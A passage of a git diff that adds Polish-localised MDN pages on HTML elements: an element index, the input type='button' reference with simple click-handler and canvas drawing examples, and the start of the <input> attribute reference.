+ <tbody>
+ <tr>
+ <td>{{SpecName('Referrer Policy', '#referrer-policy-delivery-referrer-attribute', 'referrerpolicy attribute')}}</td>
+ <td>{{Spec2('Referrer Policy')}}</td>
+ <td>Dodano atrybut <code>referrerpolicy</code>.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'iframe-embed-object.html#the-iframe-element', '&lt;iframe&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'embedded-content-0.html#the-iframe-element', '&lt;iframe&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'present/frames.html#h-16.5', '&lt;iframe&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('Screen Orientation')}}</td>
+ <td>{{Spec2('Screen Orientation')}}</td>
+ <td>Dodaje <code>allow-orientation-lock</code> do atrybutu <code>sandbox</code>.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('Presentation','#sandboxing-and-the-allow-presentation-keyword','allow-presentation')}}</td>
+ <td>{{Spec2('Presentation')}}</td>
+ <td>Dodaje <code>allow-presentation</code> do atrybutu <code>sandbox</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Zgodność_z_przeglądarkami">Zgodność z przeglądarkami</h2>
+
+<div class="hidden">Tabela zgodności na tej stronie jest generowana z danych modelowanych. Jeśli chcesz mieć swój udział w tworzeniu, sprawdź <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> i wyślij nam żądanie pull.</div>
+
+<p>{{Compat("html.elements.iframe", 3)}}</p>
diff --git a/files/pl/web/html/element/index.html b/files/pl/web/html/element/index.html
new file mode 100644
index 0000000000..074372e7d8
--- /dev/null
+++ b/files/pl/web/html/element/index.html
@@ -0,0 +1,131 @@
+---
+title: Element
+slug: Web/HTML/Element
+tags:
+ - HTML
+ - 'HTML:Opis_elementów'
+ - Obsolete
+ - Strony_wymagające_dopracowania
+ - Wszystkie_kategorie
+translation_of: Web/HTML/Element
+---
+<div>{{HTMLSidebar("Elements")}}</div>
+
+<p class="tw-data-text tw-ta tw-text-small" dir="ltr" id="tw-target-text" style="text-align: left; height: 144px;">Na tej stronie znajduje się lista wszystkich elementów HTML,<span class="seoSummary"> które można utworzyć za pomocą znaczników (ang. <code>tags</code>).  Są one pogrupowane według funkcjonalności, aby pomóc Ci łatwo znaleźć to, co masz na myśli. Alfabetyczna lista wszystkich elementów znajduje się na pasku bocznym na stronie każdego elementu, jak również na tej tutaj.</span></p>
+
+<div class="note">
+<p><span lang="pl">Aby uzyskać więcej informacji na temat podstaw elementów i atrybutów HTML, zobacz</span><a href="/en-US/docs/Web/Guide/HTML/Introduction#Elements_%E2%80%94_the_basic_building_blocks"> sekcje dotyczącą elementów w artykule wprowadzenia do HTML</a>.</p>
+</div>
+
+<h2 id="Main_root">Main root</h2>
+
+<p>{{HTMLRefTable("HTML Root Element")}}</p>
+
+<h2 id="Dokument_metadata">Dokument metadata</h2>
+
+<p class="tw-data-text tw-ta tw-text-small" dir="ltr" id="tw-target-text" style="text-align: left; height: 96px;"><span lang="pl">Metadane zawierają informacje o stronie. Obejmują informacje o stylach, skryptach i danych, które pomagają oprogramowaniu</span> ({{Glossary("search engine", "search engines")}}, {{Glossary("Browser","browsers")}}, etc.) <span lang="pl">w renderowaniu strony. Metadane stylów i skryptów można zdefiniować na stronie lub w linku do innego pliku, który zawiera te informacje.</span></p>
+
+<p>{{HTMLRefTable("HTML Document Metadata")}}</p>
+
+<h2 id="Zmiana_roota">Zmiana roota</h2>
+
+<p>{{HTMLRefTable("Sectioning Root Element")}}</p>
+
+<h2 id="Sekcja_treści">Sekcja treści</h2>
+
+<p class="tw-data-text tw-ta tw-text-small" dir="ltr" style="text-align: left; height: 192px;"><span lang="pl">Elementy do dzielenia treści umożliwiają porządkowanie treści dokumentu na elementy logiczne. Użyj elementów przekroju, aby utworzyć ogólny zarys zawartości strony, w tym nawigację nagłówka i stopki oraz elementy nagłówka w celu identyfikacji sekcji treści.</span>    {{HTMLRefTable("HTML Sections")}}</p>
+
+<h2 id="Treść_tekstowa">Treść tekstowa</h2>
+
+<p>Use HTML text content elements to organize blocks or sections of content placed between the opening {{HTMLElement("body")}} and closing <code>&lt;/body&gt;</code> tags. Important for {{Glossary("accessibility")}} and {{Glossary("SEO")}}, these elements identify the purpose or structure of that content.</p>
+
+<p>{{HTMLRefTable("HTML Grouping Content")}}</p>
+
+<h2 id="Inline_text">Inline text</h2>
+
+<p>Używaj <code>HTML inline text</code>, aby zdefiniować znaczenie, strukturę lub style słowa, linii lub inną dowolną część tekstu.</p>
+
+<p>{{HTMLRefTable("HTML Text-Level Semantics")}}</p>
+
+<h2 id="Obrazy_i_multimedia">Obrazy i multimedia</h2>
+
+<p>HTML wspiera różnorodne multimedia jak obrazy, audio i video.</p>
+
+<p>{{HTMLRefTable("multimedia")}}</p>
+
+<h2 id="Zagnieżdżona_treść">Zagnieżdżona treść</h2>
+
+<p>Oprócz zwykłych multimediów, HTML może zawierać jeszcze różną treść, nawet jeżeli niełatwa jest praca z nią.</p>
+
+<p>{{HTMLRefTable({"include":["HTML embedded content"], "exclude":["multimedia"]})}}</p>
+
+<h2 id="Tworzenie_skryptów">Tworzenie skryptów</h2>
+
+<p>W celu tworzenia dynamicznej treści i aplikacji webowych, HTML wspiera użycie języków skryptowych, w szczególności JavaScript. Poniższe elementy umożliwiają tę właściwość.</p>
+
+<p>{{HTMLRefTable("HTML Scripting")}}</p>
+
+<h2 id="Zmiany_demarkacyjne">Zmiany demarkacyjne</h2>
+
+<p>Poniższe elementy pozwalają wskazać te części tekstu, które zostały zmienione.</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Element</th>
+ <th scope="col">Opis</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code><a href="https://developer.mozilla.org/pl/docs/Web/HTML/Element/del">&lt;del&gt; </a></code></td>
+ <td>Używany do określenia, która część tekstu została usunięta. </td>
+ </tr>
+ <tr>
+ <td><code><a href="https://developer.mozilla.org/pl/docs/Web/HTML/Element/ins">&lt;ins&gt; </a></code></td>
+ <td>Używany do określenia, która część tekstu została wstawiona</td>
+ </tr>
+ </tbody>
+</table>
+
+<p><code>&lt;p&gt;&lt;del&gt;Goodbye&lt;/del&gt; &lt;ins&gt;Hello&lt;/ins&gt; world!&lt;/p&gt;</code><br>
+  </p>
+
+<h2 class="tw-data-text tw-ta tw-text-small" dir="ltr" id="Zawartość_tabel" style="text-align: left; height: 48px;">Zawartość tabel</h2>
+
+<p class="tw-data-text tw-ta tw-text-small" dir="ltr" id="tw-target-text" style="text-align: left; height: 48px;"><br>
+ <span lang="pl">Poniższe elementy służą do tworzenia i obsługi danych tabelarycznych.</span></p>
+
+<p>{{HTMLRefTable("HTML tabular data")}}</p>
+
+<h2 id="Formularze">Formularze</h2>
+
+<p><span lang="pl">HTML udostępnia wiele elementów, które mogą być używane razem do tworzenia formularzy, które użytkownik może wypełnić i przesłać do witryny sieci Web lub aplikacji. Istnieje wiele dalszych informacji na ten temat dostępnych w</span><a href="/en-US/docs/Web/Guide/HTML/Forms"> przewodnikach po formularzach HTML</a>.</p>
+
+<p>{{HTMLRefTable({"include": ["HTML forms"], "exclude":["Deprecated"]})}}</p>
+
+<h2 id="Interaktywne_elementy">Interaktywne elementy</h2>
+
+<p class="tw-data-text tw-ta tw-text-small" dir="ltr" id="tw-target-text" style="text-align: left; height: 72px;"><span lang="pl">HTML oferuje wybór elementów, które pomagają tworzyć interaktywne obiekty interfejsu użytkownika.</span></p>
+
+<p>{{HTMLRefTable("HTML interactive elements")}}</p>
+
+<h2 id="Web_Components"><span lang="pl">Web Components</span></h2>
+
+<div class="oSioSc">
+<div id="tw-target">
+<div class="gsrt tw-ta-container tw-nfl" id="tw-target-text-container">
+<p class="tw-data-text tw-ta tw-text-small" dir="ltr" id="tw-target-text" style="text-align: left; height: 192px;"><span lang="pl">Web Components to technologia związana z HTML, która umożliwia tworzenie i używanie niestandardowych elementów tak, jakby były zwykłymi HTML-ami. Ponadto można tworzyć niestandardowe wersje standardowych elementów HTML.</span></p>
+</div>
+</div>
+</div>
+
+<p>{{HTMLRefTable({"include":["Web Components"],"elements":["shadow"]})}}</p>
+
+<h2 id="Przestarzałe_elementy">Przestarzałe elementy</h2>
+
+<div class="warning">
+<p class="tw-data-text tw-ta tw-text-small" dir="ltr" id="tw-target-text" style="text-align: left; height: 48px;"><strong>Ostrzeżenie: </strong><span lang="pl">Są to elementy HTML, które są przestarzałe i nie powinny być już dłużej używane.</span><strong> Nie należy ich używać w nowych projektach. W starszych projektach należy je jak najszybciej zastąpić nowszymi elementami.</strong> <span lang="pl">Przestarzałe elementy zostały wymienione tutaj wyłącznie w celach informacyjnych.</span></p>
+</div>
+
+<p>{{HTMLRefTable({"include":["Deprecated","Obsolete"]})}}</p>
diff --git a/files/pl/web/html/element/input/button/index.html b/files/pl/web/html/element/input/button/index.html
new file mode 100644
index 0000000000..8c97a75321
--- /dev/null
+++ b/files/pl/web/html/element/input/button/index.html
@@ -0,0 +1,341 @@
+---
+title: <input type="button">
+slug: Web/HTML/Element/Input/button
+translation_of: Web/HTML/Element/input/button
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary">{{HTMLElement("input")}} elements of type <strong><code>button</code></strong> are rendered as simple push buttons, which can be programmed to control custom functionality anywhere on a webpage as required when assigned an event handler function (typically for the {{event("click")}} event).</span></p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/input-button.html", "tabbed-shorter")}}</div>
+
+
+
+<div class="note">
+<p><strong>Note</strong>: While <code>&lt;input&gt;</code> elements of type <code>button</code> are still perfectly valid HTML, the newer {{HTMLElement("button")}} element is now the favored way to create buttons. Given that a {{HTMLElement("button")}}’s label text is inserted between the opening and closing tags, you can include HTML in the label, even images.</p>
+</div>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <td><strong>{{anch("Value")}}</strong></td>
+ <td>A {{domxref("DOMString")}} used as the button's label</td>
+ </tr>
+ <tr>
+ <td><strong>Events</strong></td>
+ <td>{{event("click")}}</td>
+ </tr>
+ <tr>
+ <td><strong>Supported common attributes</strong></td>
+ <td>{{htmlattrxref("type", "input")}}, and {{htmlattrxref("value", "input")}}</td>
+ </tr>
+ <tr>
+ <td><strong>IDL attributes</strong></td>
+ <td><code>value</code></td>
+ </tr>
+ <tr>
+ <td><strong>Methods</strong></td>
+ <td>None</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Value">Value</h2>
+
+<p>An <code>&lt;input type="button"&gt;</code> elements' {{htmlattrxref("value", "input")}} attribute contains a {{domxref("DOMString")}} that is used as the button's label.</p>
+
+<div id="summary-example3">
+<pre class="brush: html notranslate">&lt;input type="button" value="Click Me"&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample("summary-example3", 650, 30)}}</p>
+
+<p>If you don't specify a <code>value</code>, you get an empty button:</p>
+
+<div id="summary-example1">
+<pre class="brush: html notranslate">&lt;input type="button"&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample("summary-example1", 650, 30)}}</p>
+
+<h2 id="Using_buttons">Using buttons</h2>
+
+<p><code>&lt;input type="button"&gt;</code> elements have no default behavior (their cousins,<code> <a href="/en-US/docs/Web/HTML/Element/input/submit">&lt;input type="submit"&gt;</a></code> and <code><a href="/en-US/docs/Web/HTML/Element/input/reset">&lt;input type="reset"&gt;</a></code> are used to submit and reset forms, respectively). To make buttons do anything, you have to write JavaScript code to do the work.</p>
+
+<h3 id="A_simple_button">A simple button</h3>
+
+<p>We'll begin by creating a simple button with a {{event("click")}} event handler that starts our machine (well, it toggles the <code>value</code> of the button and the text content of the following paragraph):</p>
+
+<pre class="brush: html notranslate">&lt;form&gt;
+ &lt;input type="button" value="Start machine"&gt;
+&lt;/form&gt;
+&lt;p&gt;The machine is stopped.&lt;/p&gt;</pre>
+
+<pre class="brush: js notranslate">const button = document.querySelector('input');
+const paragraph = document.querySelector('p');
+
+button.addEventListener('click', updateButton);
+
+function updateButton() {
+  if (button.value === 'Start machine') {
+    button.value = 'Stop machine';
+    paragraph.textContent = 'The machine has started!';
+  } else {
+    button.value = 'Start machine';
+    paragraph.textContent = 'The machine is stopped.';
+  }
+}</pre>
+
+<p>The script gets a reference to the {{domxref("HTMLInputElement")}} object representing the <code>&lt;input&gt;</code> in the DOM, saving this refence in the variable <code>button</code>. {{domxref("EventTarget.addEventListener", "addEventListener()")}} is then used to establish a function that will be run when {{event("click")}} events occur on the button.</p>
+
+<p>{{EmbedLiveSample("A_simple_button", 650, 100)}}</p>
+
+<h3 id="Adding_keyboard_shortcuts_to_buttons">Adding keyboard shortcuts to buttons</h3>
+
+<p>Keyboard shortcuts, also known as access keys and keyboard equivalents, let the user trigger a button using a key or combination of keys on the keyboard. To add a keyboard shortcut to a button — just as you would with any {{HTMLElement("input")}} for which it makes sense — you use the {{htmlattrxref("accesskey")}} global attribute.</p>
+
+<p>In this example, <kbd>s</kbd> is specified as the access key (you'll need to press <kbd>s</kbd> plus the particular modifier keys for your browser/OS combination; see <a href="/en-US/docs/Web/HTML/Global_attributes/accesskey">accesskey</a> for a useful list of those).</p>
+
+<div id="accesskey-example1">
+<pre class="brush: html notranslate">&lt;form&gt;
+ &lt;input type="button" value="Start machine" accesskey="s"&gt;
+&lt;/form&gt;
+&lt;p&gt;The machine is stopped.&lt;/p&gt;
+</pre>
+</div>
+
+<div class="hidden">
+<pre class="brush: js notranslate">const button = document.querySelector('input');
+const paragraph = document.querySelector('p');
+
+button.addEventListener('click', updateButton);
+
+function updateButton() {
+  if (button.value === 'Start machine') {
+    button.value = 'Stop machine';
+    paragraph.textContent = 'The machine has started!';
+  } else {
+    button.value = 'Start machine';
+    paragraph.textContent = 'The machine is stopped.';
+  }
+}</pre>
+</div>
+
+<p>{{EmbedLiveSample("Adding_keyboard_shortcuts_to_buttons", 650, 100)}}</p>
+
+<div class="note">
+<p><strong>Note</strong>: The problem with the above example of course is that the user will not know what the access key is! In a real site, you'd have to provide this information in a way that doesn't intefere with the site design (for example by providing an easily accessible link that points to information on what the site accesskeys are).</p>
+</div>
+
+<h3 id="Disabling_and_enabling_a_button">Disabling and enabling a button</h3>
+
+<p>To disable a button, simply specify the {{htmlattrxref("disabled")}} global attribute on it, like so:</p>
+
+<div id="disable-example1">
+<pre class="brush: html notranslate">&lt;input type="button" value="Disable me" disabled&gt;</pre>
+</div>
+
+<p>You can enable and disable buttons at run time by simply setting <code>disabled</code> to <code>true</code> or <code>false</code>. In this example our button starts off enabled, but if you press it, it is disabled using <code>button.disabled = true</code>. A {{domxref("WindowTimers.setTimeout","setTimeout()")}} function is then used to reset the button back to its enabled state after two seconds.</p>
+
+<div class="hidden">
+<h6 id="Hidden_code_1">Hidden code 1</h6>
+
+<pre class="brush: html notranslate">&lt;input type="button" value="Enabled"&gt;</pre>
+
+<pre class="brush: js notranslate">const button = document.querySelector('input');
+
+button.addEventListener('click', disableButton);
+
+function disableButton() {
+  button.disabled = true;
+  button.value = 'Disabled';
+  window.setTimeout(function() {
+    button.disabled = false;
+    button.value = 'Enabled';
+  }, 2000);
+}</pre>
+</div>
+
+<p>{{EmbedLiveSample("Hidden_code_1", 650, 60)}}</p>
+
+<p>If the <code>disabled</code> attribute isn't specified, the button inherits its <code>disabled</code> state from its parent element. This makes it possible to enable and disable groups of elements all at once by enclosing them in a container such as a {{HTMLElement("fieldset")}} element, and then setting <code>disabled</code> on the container.</p>
+
+<p>The example below shows this in action. This is very similar to the previous example, except that the <code>disabled</code> attribute is set on the <code>&lt;fieldset&gt;</code> when the first button is pressed — this causes all three buttons to be disabled until the two second timeout has passed.</p>
+
+<div class="hidden">
+<h6 id="Hidden_code_2">Hidden code 2</h6>
+
+<pre class="brush: html notranslate">&lt;fieldset&gt;
+ &lt;legend&gt;Button group&lt;/legend&gt;
+ &lt;input type="button" value="Button 1"&gt;
+ &lt;input type="button" value="Button 2"&gt;
+ &lt;input type="button" value="Button 3"&gt;
+&lt;/fieldset&gt;</pre>
+
+<pre class="brush: js notranslate">const button = document.querySelector('input');
+const fieldset = document.querySelector('fieldset');
+
+button.addEventListener('click', disableButton);
+
+function disableButton() {
+ fieldset.disabled = true;
+ window.setTimeout(function() {
+ fieldset.disabled = false;
+ }, 2000);
+}</pre>
+</div>
+
+<p>{{EmbedLiveSample("Hidden_code_2", 650, 60)}}</p>
+
+<div class="note">
+<p><strong>Note</strong>: Firefox will, unlike other browsers, by default, <a href="http://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing">persist the dynamic disabled state</a> of a {{HTMLElement("button")}} across page loads. Use the {{htmlattrxref("autocomplete","button")}} attribute to control this feature.</p>
+</div>
+
+<h2 id="Validation">Validation</h2>
+
+<p>Buttons don't participate in constraint validation; they have no real value to be constrained.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<p>The below example shows a very simple drawing app created using a {{htmlelement("canvas")}} element and some simple CSS and JavaScript (we'll hide the CSS for brevity). The top two controls allow you to choose the color and size of the drawing pen. The button, when clicked, invokes a function that clears the canvas.</p>
+
+<pre class="brush: html notranslate">&lt;div class="toolbar"&gt;
+ &lt;input type="color" aria-label="select pen color"&gt;
+ &lt;input type="range" min="2" max="50" value="30" aria-label="select pen size"&gt;&lt;span class="output"&gt;30&lt;/span&gt;
+ &lt;input type="button" value="Clear canvas"&gt;
+&lt;/div&gt;
+
+&lt;canvas class="myCanvas"&gt;
+ &lt;p&gt;Add suitable fallback here.&lt;/p&gt;
+&lt;/canvas&gt;</pre>
+
+<div class="hidden">
+<pre class="brush: css notranslate">body {
+  background: #ccc;
+ margin: 0;
+ overflow: hidden;
+}
+
+.toolbar {
+  background: #ccc;
+ width: 150px;
+ height: 75px;
+ padding: 5px;
+}
+
+input[type="color"], input[type="button"] {
+ width: 90%;
+ margin: 0 auto;
+ display: block;
+}
+
+input[type="range"] {
+ width: 70%;
+}
+
+span {
+ position: relative;
+ bottom: 5px;
+}</pre>
+</div>
+
+<pre class="brush: js notranslate">var canvas = document.querySelector('.myCanvas');
+var width = canvas.width = window.innerWidth;
+var height = canvas.height = window.innerHeight-85;
+var ctx = canvas.getContext('2d');
+
+ctx.fillStyle = 'rgb(0,0,0)';
+ctx.fillRect(0,0,width,height);
+
+var colorPicker = document.querySelector('input[type="color"]');
+var sizePicker = document.querySelector('input[type="range"]');
+var output = document.querySelector('.output');
+var clearBtn = document.querySelector('input[type="button"]');
+
+// covert degrees to radians
+function degToRad(degrees) {
+ return degrees * Math.PI / 180;
+};
+
+// update sizepicker output value
+
+sizePicker.oninput = function() {
+ output.textContent = sizePicker.value;
+}
+
+// store mouse pointer coordinates, and whether the button is pressed
+var curX;
+var curY;
+var pressed = false;
+
+// update mouse pointer coordinates
+document.onmousemove = function(e) {
+ curX = (window.Event) ? e.pageX : e.clientX + (document.documentElement.scrollLeft ? document.documentElement.scrollLeft : document.body.scrollLeft);
+ curY = (window.Event) ? e.pageY : e.clientY + (document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop);
+}
+
+canvas.onmousedown = function() {
+ pressed = true;
+};
+
+canvas.onmouseup = function() {
+ pressed = false;
+}
+
+clearBtn.onclick = function() {
+ ctx.fillStyle = 'rgb(0,0,0)';
+ ctx.fillRect(0,0,width,height);
+}
+
+function draw() {
+ if(pressed) {
+ ctx.fillStyle = colorPicker.value;
+ ctx.beginPath();
+ ctx.arc(curX, curY-85, sizePicker.value, degToRad(0), degToRad(360), false);
+ ctx.fill();
+ }
+
+ requestAnimationFrame(draw);
+}
+
+draw();</pre>
+
+<p>{{EmbedLiveSample("Examples", '100%', 600)}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comments</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'forms.html#button-state-(type=button)', '&lt;input type="button"&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'forms.html#button-state-(type=button)', '&lt;input type="button"&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("html.elements.input.input-button")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTMLElement("input")}} and the {{domxref("HTMLInputElement")}} interface which implements it.</li>
+ <li>The more modern {{HTMLElement("button")}} element.</li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/Property_compatibility_table_for_form_widgets">Compatibility of CSS properties</a></li>
+</ul>
diff --git a/files/pl/web/html/element/input/index.html b/files/pl/web/html/element/input/index.html
new file mode 100644
index 0000000000..bbe073d4b4
--- /dev/null
+++ b/files/pl/web/html/element/input/index.html
@@ -0,0 +1,1376 @@
+---
+title: <input>
+slug: Web/HTML/Element/Input
+translation_of: Web/HTML/Element/input
+---
+<p>The HTML <strong><code>&lt;input&gt;</code> element</strong> is used to create interactive controls for web-based forms in order to accept data from the user. The semantics of an <code>&lt;input&gt;</code> varies considerably depending on the value of its <code>type</code> attribute.</p>
+
+<ul class="htmlelt">
+ <li><dfn><a href="/en-US/docs/HTML/Content_categories">Content categories</a></dfn> <a href="/en-US/docs/HTML/Content_categories#Flow_content">Flow content</a>, listed, submittable, resettable, form-associated element, <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">phrasing content</a>.<br>
+ If the {{htmlattrxref("type", "input")}} has not the <code>hidden</code> value, labellable element, palpable content.</li>
+ <li><dfn>Permitted content</dfn> None, it is an {{Glossary("empty element")}}.</li>
+ <li><dfn>Tag omission</dfn> Must have a start tag and must not have an end tag.</li>
+ <li><dfn>Permitted parent elements</dfn> Any element that accepts <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">phrasing content</a>.</li>
+ <li><dfn>DOM interface</dfn> {{domxref("HTMLInputElement")}}</li>
+</ul>
+
+<h2 id="Attributes">Attributes</h2>
+
+<p>This element includes the <a href="/en-US/docs/HTML/Global_attributes">global attributes</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("type")}}</dt>
+ <dd>The type of control to display. The default type is text, if this attribute is not specified. Possible values are:
+ <ul>
+ <li><code>button</code>: A push button with no default behavior.</li>
+ <li><code>checkbox</code>: A check box. You must use the <strong>value</strong> attribute to define the value submitted by this item. Use the <strong>checked</strong> attribute to indicate whether this item is selected. You can also use the <strong>indeterminate</strong> attribute to indicate that the checkbox is in an indeterminate state (on most platforms, this draws a horizontal line across the checkbox).</li>
+ <li><code>color</code>: {{HTMLVersionInline("5")}} A control for specifying a color. A color picker's UI has no required features other than accepting simple colors as text (<a href="http://www.w3.org/TR/html5/forms.html#color-state-(type=color)">more info</a>).</li>
+ <li><code>date</code>: {{HTMLVersionInline("5")}} A control for entering a date (year, month, and day, with no time).</li>
+ <li><code>datetime</code>: {{HTMLVersionInline("5")}} A control for entering a date and time (hour, minute, second, and fraction of a second) based on UTC time zone.</li>
+ <li><code>datetime-local</code>: {{HTMLVersionInline("5")}} A control for entering a date and time, with no time zone.</li>
+ <li><code>email</code>: {{HTMLVersionInline("5")}} A field for editing an e-mail address. The input value is validated to contain either the empty string or a single valid e-mail address before submitting. The {{cssxref(":valid")}} and {{cssxref(":invalid")}} CSS pseudo-classes are applied as appropriate.</li>
+ <li><code>file</code>: A control that lets the user select a file. Use the <strong>accept</strong> attribute to define the types of files that the control can select.</li>
+ <li><code>hidden</code>: A control that is not displayed, but whose value is submitted to the server.</li>
+ <li><code>image</code>: A graphical submit button. You must use the <strong>src</strong> attribute to define the source of the image and the <strong>alt</strong> attribute to define alternative text. You can use the <strong>height</strong> and <strong>width</strong> attributes to define the size of the image in pixels.</li>
+ <li><code>month</code>: {{HTMLVersionInline("5")}} A control for entering a month and year, with no time zone.</li>
+ <li><code>number</code>: {{HTMLVersionInline("5")}} A control for entering a floating point number.</li>
+ <li><code>password</code>: A single-line text field whose value is obscured. Use the <strong>maxlength</strong> attribute to specify the maximum length of the value that can be entered.</li>
+ <li><code>radio</code>: A radio button. You must use the <strong>value</strong> attribute to define the value submitted by this item. Use the <strong>checked</strong> attribute to indicate whether this item is selected by default. Radio buttons that have the same value for the <strong>name</strong> attribute are in the same "radio button group"; only one radio button in a group can be selected at one time.</li>
+ <li><code>range</code>: {{HTMLVersionInline("5")}} A control for entering a number whose exact value is not important. This type control uses the following default values if the corresponding attributes are not specified:
+ <ul>
+ <li><code>min</code>: 0</li>
+ <li><code>max</code>: 100</li>
+ <li><code>value</code>: <code>min</code> + (<code>max</code>-<code>min</code>)/2, or <code>min</code> if <code>max</code> is less than <code>min</code></li>
+ <li><code>step</code>: 1</li>
+ </ul>
+ </li>
+ <li><code>reset</code>: A button that resets the contents of the form to default values.</li>
+ <li><code>search</code>: {{HTMLVersionInline("5")}} A single-line text field for entering search strings; line-breaks are automatically removed from the input value.</li>
+ <li><code>submit</code>: A button that submits the form.</li>
+ <li><code>tel</code>: {{HTMLVersionInline("5")}} A control for entering a telephone number; line-breaks are automatically removed from the input value, but no other syntax is enforced. You can use attributes such as <strong>pattern</strong> and <strong>maxlength</strong> to restrict values entered in the control. The {{cssxref(":valid")}} and {{cssxref(":invalid")}} CSS pseudo-classes are applied as appropriate.</li>
+ <li><code>text</code>: A single-line text field; line-breaks are automatically removed from the input value.</li>
+ <li><code>time</code>: {{HTMLVersionInline("5")}} A control for entering a time value with no time zone.</li>
+ <li><code>url</code>: {{HTMLVersionInline("5")}} A field for editing a URL. The input value is validated to contain either the empty string or a valid absolute URL before submitting. Line-breaks and leading or trailing whitespace are automatically removed from the input value. You can use attributes such as <strong>pattern</strong> and <strong>maxlength</strong> to restrict values entered in the control. The {{cssxref(":valid")}} and {{cssxref(":invalid")}} CSS pseudo-classes are applied as appropriate.</li>
+ <li><code>week</code>: {{HTMLVersionInline("5")}} A control for entering a date consisting of a week-year number and a week number with no time zone.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("accept")}}</dt>
+ <dd>If the value of the <strong>type</strong> attribute is <code>file</code>, this attribute indicates the types of files that the server accepts; otherwise it is ignored. The value must be a comma-separated list of unique content type specifiers:
+ <ul>
+ <li>A file extension starting with the STOP character (U+002E). (E.g.: ".jpg,.png,.doc")</li>
+ <li>A valid MIME type with no extensions</li>
+ <li><code>audio/*</code> representing sound files {{HTMLVersionInline("5")}}</li>
+ <li><code>video/*</code> representing video files {{HTMLVersionInline("5")}}</li>
+ <li><code>image/*</code> representing image files {{HTMLVersionInline("5")}}</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("accesskey")}} {{HTMLVersionInline(4)}} only, {{obsoleteGeneric("inline", "HTML5")}}</dt>
+ <dd>A single-character that the user can press to switch input focus to the control. This attribute is global in HTML5.</dd>
+ <dt>{{htmlattrdef("mozactionhint")}} {{non-standard_inline}}</dt>
+ <dd>Specifies an "action hint" used to determine how to label the enter key on mobile devices with virtual keyboards. Supported values are <code>go</code>, <code>done</code>, <code>next</code>, <code>search</code>, and <code>send</code>; these automatically get mapped to the appropriate string (and are case-insensitive).</dd>
+ <dt>{{htmlattrdef("autocapitalize")}} {{non-standard_inline}}</dt>
+ <dd>This is a nonstandard attribute used by iOS Safari Mobile which controls whether and how the text value should be automatically capitalized as it is entered/edited by the user. The non-deprecated values are available in iOS 5 and later. Possible values are:
+ <ul>
+ <li><code>none</code>: Completely disables automatic capitalization</li>
+ <li><code>sentences</code>: Automatically capitalize the first letter of sentences.</li>
+ <li><code>words</code>: Automatically capitalize the first letter of words.</li>
+ <li><code>characters</code>: Automatically capitalize all characters.</li>
+ <li><code>on</code>: {{deprecated_inline()}} Deprecated since iOS 5.</li>
+ <li><code>off</code>: {{deprecated_inline()}} Deprecated since iOS 5.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("autocomplete")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>This attribute indicates whether the value of the control can be automatically completed by the browser. This attribute is ignored if the value of the <strong>type</strong> attribute is <code>hidden, password,</code> <code>checkbox</code>, <code>radio</code>, <code>file</code>, or a button type (<code>button</code>, <code>submit</code>, <code>reset</code>, <code>image</code>). Possible values are:
+ <ul>
+ <li><code>off</code>: The user must explicitly enter a value into this field for every use, or the document provides its own auto-completion method; the browser does not automatically complete the entry.</li>
+ <li><code>on</code>: The browser can automatically complete the value based on values that the user has entered during previous uses.</li>
+ </ul>
+
+ <p>If the <strong>autocomplete</strong> attribute is not specified on an input element, then the browser uses the <strong>autocomplete</strong> attribute value of the <code>&lt;input&gt;</code> element's form owner. The form owner is either the <code>form</code> element that this <code>&lt;input&gt;</code> element is a descendant of or the form element whose <strong>id</strong> is specified by the <strong>form</strong> attribute of the input element. For more information, see the {{htmlattrxref("autocomplete", "form")}} attribute in {{HTMLElement("form")}}.</p>
+
